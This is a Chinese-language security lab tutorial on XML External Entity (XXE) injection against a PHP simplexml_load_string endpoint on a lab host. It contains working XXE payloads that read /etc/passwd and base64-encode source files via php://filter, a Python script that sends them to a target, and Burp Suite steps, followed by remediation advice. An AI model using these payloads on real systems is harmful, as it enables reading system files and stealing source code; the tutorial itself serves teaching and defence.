實驗內容
介紹XXE漏洞的觸發方式和利用方法,簡單介紹XXE漏洞的修復。
影響版本:
libxml2.8.0版本
漏洞介紹
XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊。漏洞是在對非安全的外部實體數據進行處理時引發的安全問題。
由於站點的建站語言不同,PHP、JAVA、python等也有不同的解析規則,在實際情況中不能一概而論,但原理是相同的。
XML基礎知識
XML是用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
XML中對數據的引用稱為實體,實體中有一類叫外部實體,用來引入外部資源,有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機,外部實體的引用可以借助各種協議,比如如下的三種:
file:///path/to/file.ext http://url php://filter/read=convert.base64-encode/resource=conf.php
XML在調用外部實體整體的寫法如下:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe(實體引用名) SYSTEM "file:///etc/passwd"(實體內容) >]> <methodcall> <methodname>&xxe;</methodname> </methodcall>
這種寫法則調用了本地計算機的文件/etc/passwd
,XML內容被解析后,文件內容便通過&xxe
被存放在了methodname
元素中,造成了敏感信息的泄露。
實驗步驟
以下步驟主要講述了此漏洞的利用方式,XML、Payload的構造方式以及惡意腳本的使用和分析。
步驟1:漏洞驗證
首先,我們的目標地址是172.16.12.2/simplexml_load_string.php
我們先來看下simplexml_load_string.php
代碼怎么寫的,代碼如下:
<?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; ?>
最開始,引入一個file_get_contents
函數,將整個XML數據讀入data
字符串中,然后交給php的xml解析函數simplexml_load_string()
解析,解析后的數據賦給xml
變量。
這一數據即XML字符串中使用的對象(或者說根元素)的數據,並echo輸出出來。
我們現在打開Burpsuite
,修改瀏覽器的網絡配置,點擊最右側的三個橫線,然后依次點擊->選項->高級->網絡->配置firefox如何連接互聯網
設置HTTP代理為127.0.0.1
,端口為8080
,配置完成后,開啟burpsuite的攔截功能,然后訪問如下網址
http://172.16.12.2/simplexml_load_string.php
當訪問請求被burp攔截后,點擊action將此請求發送到burp的repeater選項卡(send to repeater),將如下的XML文本直接寫在數據包內容的下面
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>
這一步驟將XML內容發送給服務器,當服務器將XML解析完成后,就會依照解析的內容工作,這段XML中SYSTEM "file:///etc/passwd"
部分引用了目標服務器(即172.16.12.2
)下的/etc/passwd
文件,服務器解析XML內容后,會將這一文件內容存入&xxe
中,然后將數據返回給惡意訪問者。
執行完成上面的操作后,點擊GO,右側將出現此數據包的返回結果,內容如下,返回的數據為服務器上/etc/passwd
文件的內容
如果修改XML中的外部實體為其他協議,如php://filter/read=convert.base64-encode/resource=index.php
,在Proxy選項卡的原數據包中粘貼XML內容,點擊FORWARD放行請求,返回的結果在瀏覽器上顯示如下
返回值為PD9waHANCnBocGluZm8oKTsNCj8+
,經過base64解碼,可以看到字符串是index.php的源代碼
<?php phpinfo(); ?>
我們來訪問一下index.php,可以看到確實是執行了phpinfo();函數
步驟2 使用並分析惡意腳本
請訪問http://file.ichunqiu.com/397qjz4d
下載實驗文件。
打開cmd,輸入 python 腳本所在路徑\xxe-url2.py
(可將腳本直接拖入cmd命令行) ,然后輸入要讀取的文件及要訪問的地址.
如下圖所示,腳本放在C:\Documents and Settings\Administrator\My Documents\下載\
路徑下,運行腳本,輸入示例payload
file:///etc/passwd
示例地址
http://172.16.12.2/simplexml_load_string.php
xxe-url2.py
的代碼如下,通過urllib2
的request方法用POST方式向目標地址發送XML數據,返回的數據即為服務器172.16.12.2
下的/etc/passwd
文件
import urllib2 if __name__ == '__main__': print u'輸入要讀取的文件,如file:///etc/passwd' payload = raw_input() print u'輸入要訪問的地址,如http://172.16.12.2/simplexml_load_string.php' url = raw_input() #url = 'http://192.168.70.235/simplexml_load_string.php' headers = {'Content-type': 'text/xml'} xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>' req = urllib2.Request(url = url,headers = headers, data = xml) res_data = urllib2.urlopen(req) res = res_data.read() print res
實驗結果分析與總結
本次實驗主要了解了XML的基礎知識以及PHP中XML的使用,了解了漏洞出現的原理,學習了通過構造惡意的外部實體訪問,讓服務器讀取敏感文件內容的惡意操作。
XML外部實體注入可以造成的危害有:
-
任意文件讀取
-
系統命令執行
-
內網主機及服務探測
本次實驗我們主要進行了任意文件讀取的操作,系統命令執行需要在安裝了EXPECT擴展的PHP環境下才能執行,內網主機及服務探測可以通過HTTP協議來執行。
修復方案
-
使用libxml2.8.0以上版本xml解析庫,默認禁止外部實體的解析
-
對於PHP,由於simplexml_load_string函數的XML解析問題出在libxml庫上,所以加載實體前可以調用函數進行過濾
-
可將外部實體、參數實體和內聯DTD都被設置為false,從而避免基於XXE漏洞的攻擊。